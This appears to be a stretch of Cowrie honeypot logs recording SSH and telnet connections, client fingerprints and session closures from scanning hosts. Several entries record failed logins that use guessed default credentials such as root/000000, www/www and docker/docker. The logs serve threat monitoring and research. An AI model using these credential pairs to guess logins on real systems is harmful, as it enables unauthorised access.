{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"2249ce9d0741","protocol":"ssh","message":"New connection: 176.65.132.254:60968 (10.17.0.5:22) [session: 2249ce9d0741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:29.539246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:29.682727Z","src_ip":"176.65.132.254","session":"2249ce9d0741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:29.691860Z","src_ip":"176.65.132.254","session":"2249ce9d0741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.09799027442932,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:29.737514Z","src_ip":"65.60.27.33","session":"84ffc9c74563","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:30.443299Z","src_ip":"176.65.132.254","session":"2249ce9d0741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44062,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e9de7d76ae","protocol":"telnet","message":"New connection: 62.210.97.77:44062 (10.17.0.5:23) [session: 96e9de7d76ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:30.462868Z"}
{"eventid":"cowrie.session.closed","duration":42.225255489349365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:30.696109Z","src_ip":"165.232.131.181","session":"65ebdac93ba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:31.545697Z","src_ip":"176.65.132.254","session":"2249ce9d0741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":51156,"dst_ip":"159.203.135.109","dst_port":22,"session":"38e483af5504","protocol":"ssh","message":"New connection: 103.189.235.176:51156 (159.203.135.109:22) [session: 38e483af5504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:31.775784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:31.780566Z","src_ip":"103.189.235.176","session":"38e483af5504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61025667190552,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:32.010106Z","src_ip":"62.210.97.77","session":"d08f554d27d2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:32.017280Z","src_ip":"103.189.235.176","session":"38e483af5504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44078,"dst_ip":"10.17.0.5","dst_port":23,"session":"eceae3b40bab","protocol":"telnet","message":"New connection: 62.210.97.77:44078 (10.17.0.5:23) [session: eceae3b40bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:32.286215Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"skyadmin","message":"login attempt [root/skyadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:32.973374Z","src_ip":"103.189.235.176","session":"38e483af5504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06032991409302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:33.578927Z","src_ip":"62.210.97.77","session":"fc5f112de0df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60435438156128,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:33.779977Z","src_ip":"62.210.97.77","session":"3f621eb509c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.639209270477295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:33.801957Z","src_ip":"62.210.97.77","session":"cea0cfb20f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb730641efeb","protocol":"ssh","message":"New connection: 176.65.132.254:40124 (10.17.0.5:22) [session: fb730641efeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:33.964311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:33.968807Z","src_ip":"176.65.132.254","session":"fb730641efeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:34.050540Z","src_ip":"176.65.132.254","session":"fb730641efeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:34.211138Z","src_ip":"103.189.235.176","session":"38e483af5504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:34.345202Z","src_ip":"176.65.132.254","session":"fb730641efeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.200456380844116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:34.640589Z","src_ip":"62.210.97.77","session":"b283db37d903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.885655641555786,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:34.864720Z","src_ip":"62.210.97.77","session":"18c24a0bea92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:35.753642Z","src_ip":"176.65.132.254","session":"fb730641efeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44082,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad30a652ac79","protocol":"telnet","message":"New connection: 62.210.97.77:44082 (10.17.0.5:23) [session: ad30a652ac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:36.156630Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":12246,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee877e2cf86","protocol":"ssh","message":"New connection: 152.32.189.59:12246 (159.203.135.109:22) [session: 3ee877e2cf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:37.116396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:37.131004Z","src_ip":"152.32.189.59","session":"3ee877e2cf86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:37.378899Z","src_ip":"152.32.189.59","session":"3ee877e2cf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"11111111","message":"login attempt [guest/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:38.231302Z","src_ip":"152.32.189.59","session":"3ee877e2cf86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.37356185913086,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:38.431522Z","src_ip":"65.60.27.33","session":"816d42b287ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40140,"dst_ip":"10.17.0.5","dst_port":22,"session":"560f3be172f3","protocol":"ssh","message":"New connection: 176.65.132.254:40140 (10.17.0.5:22) [session: 560f3be172f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:38.536921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:38.600616Z","src_ip":"176.65.132.254","session":"560f3be172f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:38.747952Z","src_ip":"176.65.132.254","session":"560f3be172f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3560311794281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.027519Z","src_ip":"62.210.97.77","session":"0b5fe78c265d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.322155Z","src_ip":"176.65.132.254","session":"560f3be172f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.457033Z","src_ip":"152.32.189.59","session":"3ee877e2cf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57200,"dst_ip":"159.203.135.109","dst_port":23,"session":"652eef4e20d4","protocol":"telnet","message":"New connection: 134.209.8.29:57200 (159.203.135.109:23) [session: 652eef4e20d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.495619Z"}
{"eventid":"cowrie.session.closed","duration":13.111504793167114,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.730246Z","src_ip":"177.148.202.119","session":"7d4105e7ae2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.04009819030762,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:39.846382Z","src_ip":"65.60.27.33","session":"1d200f0fd80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.85915017127991,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:40.294021Z","src_ip":"165.232.131.181","session":"c08ec4d06a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:40.406437Z","src_ip":"176.65.132.254","session":"560f3be172f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.32296633720398,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:40.471984Z","src_ip":"62.210.97.77","session":"e0c7c7a96ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.409648180007935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:41.018972Z","src_ip":"62.210.97.77","session":"de3499c3ffa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.65170192718506,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:41.369572Z","src_ip":"65.60.27.33","session":"7dcd1c323b99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02567148208618,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:41.538020Z","src_ip":"62.210.97.77","session":"26d17200ea03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70196461677551,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.092524Z","src_ip":"62.210.97.77","session":"311ff1ed5b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.58980679512024,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.202970Z","src_ip":"65.60.27.33","session":"4f6951b5769f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45620,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6321b85496e","protocol":"telnet","message":"New connection: 62.210.97.77:45620 (10.17.0.5:23) [session: f6321b85496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.288758Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ace173131ba8","protocol":"telnet","message":"New connection: 134.209.8.29:57204 (159.203.135.109:23) [session: ace173131ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.632674Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59710,"dst_ip":"10.17.0.5","dst_port":22,"session":"b101af9c5669","protocol":"ssh","message":"New connection: 176.65.132.254:59710 (10.17.0.5:22) [session: b101af9c5669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.939310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:42.944552Z","src_ip":"176.65.132.254","session":"b101af9c5669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:43.041546Z","src_ip":"176.65.132.254","session":"b101af9c5669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:43.341682Z","src_ip":"176.65.132.254","session":"b101af9c5669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45632,"dst_ip":"10.17.0.5","dst_port":23,"session":"5253e91a4575","protocol":"telnet","message":"New connection: 62.210.97.77:45632 (10.17.0.5:23) [session: 5253e91a4575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:43.915101Z"}
